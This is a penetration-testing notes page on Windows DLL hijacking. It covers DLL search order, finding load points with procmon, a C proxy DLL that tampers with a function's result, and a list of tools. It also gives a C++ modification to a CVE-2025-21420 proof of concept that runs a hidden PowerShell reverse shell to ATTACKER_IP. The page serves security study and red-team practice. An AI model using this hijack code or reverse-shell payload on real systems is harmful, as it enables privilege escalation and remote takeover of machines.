> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/privilege-escalation/windows/dll-hijacking.md).

# DLL Hijacking

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

{% content-ref url="/pages/9xUaJCvFQdB28r6ZyAEB" %}
[MalDev](/0xss0rz/edr-bypass/maldev.md)
{% endcontent-ref %}

Hijacking opportunity if an application doesn't specify the full path to a required DLL

The default DLL search order used by the system depends on whether `Safe DLL Search Mode` is activated. Default setting: Enable

With this mode enabled, applications search for necessary DLL files in the following sequence:

1. The directory from which the application is loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory.
5. The current directory.
6. The directories that are listed in the PATH environment variable.

However, if 'Safe DLL Search Mode' is deactivated, the search order changes to:

1. The directory from which the application is loaded.
2. The current directory.
3. The system directory.
4. The 16-bit system directory.
5. The Windows directory
6. The directories that are listed in the PATH environment variable

Use procmon to solely include `main.exe`

<figure><img src="/files/uxfYhCjGUProT4CMo8zy" alt=""><figcaption></figcaption></figure>

&#x20;Filter for an `Operation` of `Load Image` to only get the libraries the app is loading.

<figure><img src="/files/VWRxlUYEX5IexsE80qj5" alt=""><figcaption></figcaption></figure>

## Proxying

&#x20;Create a new library that will load the function `Add` from `library.dll`, tamper with it, and then return it to `main.exe`.

1. Create a new library: We will create a new library serving as the proxy for `library.dll`. This library will contain the necessary code to load the `Add` function from `library.dll` and perform the required tampering.
2. Load the `Add` function: Within the new library, we will load the `Add` function from the original `library.dll`. This will allow us to access the original function.
3. Tamper with the function: Once the `Add` function is loaded, we can then apply the desired tampering or modifications to its result. In this case, we are simply going to modify the result of the addition, to add `+ 1` to the result.
4. Return the modified function: After completing the tampering process, we will return the modified `Add` function from the new library back to `main.exe`. This will ensure that when `main.exe` calls the `Add` function, it will execute the modified version with the intended changes.

```
// tamper.c
#include <stdio.h>
#include <Windows.h>

#ifdef _WIN32
#define DLL_EXPORT __declspec(dllexport)
#else
#define DLL_EXPORT
#endif

typedef int (*AddFunc)(int, int);

DLL_EXPORT int Add(int a, int b)
{
    // Load the original library containing the Add function
    HMODULE originalLibrary = LoadLibraryA("library.o.dll");
    if (originalLibrary != NULL)
    {
        // Get the address of the original Add function from the library
        AddFunc originalAdd = (AddFunc)GetProcAddress(originalLibrary, "Add");
        if (originalAdd != NULL)
        {
            printf("============ HIJACKED ============\n");
            // Call the original Add function with the provided arguments
            int result = originalAdd(a, b);
            // Tamper with the result by adding +1
            printf("= Adding 1 to the sum to be evil\n");
            result += 1;
            printf("============ RETURN ============\n");
            // Return the tampered result
            return result;
        }
    }
    // Return -1 if the original library or function cannot be loaded
    return -1;
}
```

Rename `library.dll` to `library.o.dll`, and rename `tamper.dll` to `library.dll`.

Running `main.exe`

<figure><img src="/files/QWq9GbLdama4rJUsbvwe" alt=""><figcaption></figcaption></figure>

## Invalid Libraries

`Result` filter set to `NAME NOT FOUND` to observe binaries searching for their lost DLLs.

See References

### PowerSploit

See References

## Tools

{% embed url="<https://github.com/Fatmike-GH/DLLInjectionDetector>" %}

{% embed url="<https://github.com/cyberark/DLLSpy>" %}

{% embed url="<https://github.com/ghostvectoracademy/DLLHijackHunter>" %}

{% embed url="<https://github.com/slyd0g/DLLHijackTest>" %}

{% embed url="<https://github.com/knight0x07/ImpulsiveDLLHijack>" %}

{% embed url="<https://github.com/redteamsocietegenerale/DLLirant>" %}

## DLL Sideloading

{% embed url="<https://github.com/ajm4n/DLLHound>" %}

## CVE-2025-21420

Windows Disk Cleanup Tool Elevation of Privilege Vulnerability

{% embed url="<https://github.com/Network-Sec/CVE-2025-21420-PoC>" %}

Reverse shell - Change DokanMain for example:

```cpp
void DokanMain() {
    wchar_t reverseShellCmd[] = L"powershell.exe -NoExit -Command \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP', 4444); $stream = $client.GetStream(); [byte[]]$buffer = 0..65535|%{0}; while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0) { $data = (New-Object Text.ASCIIEncoding).GetString($buffer, 0, $i); $sendback = (iex $data 2>&1 | Out-String); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte, 0, $sendbyte.Length); $stream.Flush(); }; $client.Close();\"";

    STARTUPINFOW si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(si);

    if (!CreateProcessW(NULL, reverseShellCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
        MessageBoxW(NULL, L"Failed to create process", L"Error", MB_OK);
        return;
    }

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return;
}
```

{% embed url="<https://github.com/moiz-2x/CVE-2025-21420_POC?s=03>" %}

## Resources

{% embed url="<https://pentestlab.blog/2017/03/27/dll-hijacking/>" %}

{% embed url="<https://itm4n.github.io/dll-proxying/>" %}
